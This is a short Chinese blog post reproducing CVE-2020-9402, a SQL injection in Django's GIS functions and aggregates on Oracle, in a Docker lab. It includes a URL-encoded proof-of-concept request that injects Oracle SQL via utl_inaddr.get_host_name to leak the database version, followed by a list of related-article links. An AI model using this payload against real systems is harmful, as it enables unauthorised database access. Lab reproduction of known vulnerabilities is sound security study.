Oracle SQL 注入上的 Django GIS 函数和聚合漏洞 (CVE-2020-9402)

漏洞描述

Django 于2020年3 月4日发布了一个安全更新,修复了 GIS 函数和聚合中的 SQL 注入漏洞。

参考链接:

该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。

漏洞环境及利用

搭建docker环境

这里遇到一个问题,这个占用空间比较大卡住了,后来查看docker日志才发现

漏洞利用POC

http://139.196.87.102:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

漏洞利用如下

相关推荐
gongzemin37 分钟前
Django入门2--设置数据库 admin
python·django
鸿乃江边鸟42 分钟前
Flink中的 BinaryRowData 以及大小端
大数据·sql·flink
KimLiu1 小时前
LCODER之Python:使用Django搭建服务端
后端·python·django
言之。1 小时前
Django REST Framework 中 @action 装饰器详解
数据库·sqlite
emma羊羊5 小时前
【 SQL注入漏洞靶场】第二关文件读写
sql·网络安全·靶场·sql注入
Chan166 小时前
【智能协同云图库】基于统一接口架构构建多维度分析功能、结合 ECharts 可视化与权限校验实现用户 / 管理员图库统计、通过 SQL 优化与流式处理提升数据
java·spring boot·后端·sql·spring·intellij-idea·echarts
float_六七7 小时前
预编译SQL:安全与性能的双重保障
sql·安全·oracle
yddddddy7 小时前
SQLite的基本操作
数据库·sqlite
cellurw9 小时前
Day39 SQLite数据库操作与HTML核心API及页面构建
数据库·sqlite·html
小宁爱Python10 小时前
Django 从环境搭建到第一个项目
后端·python·django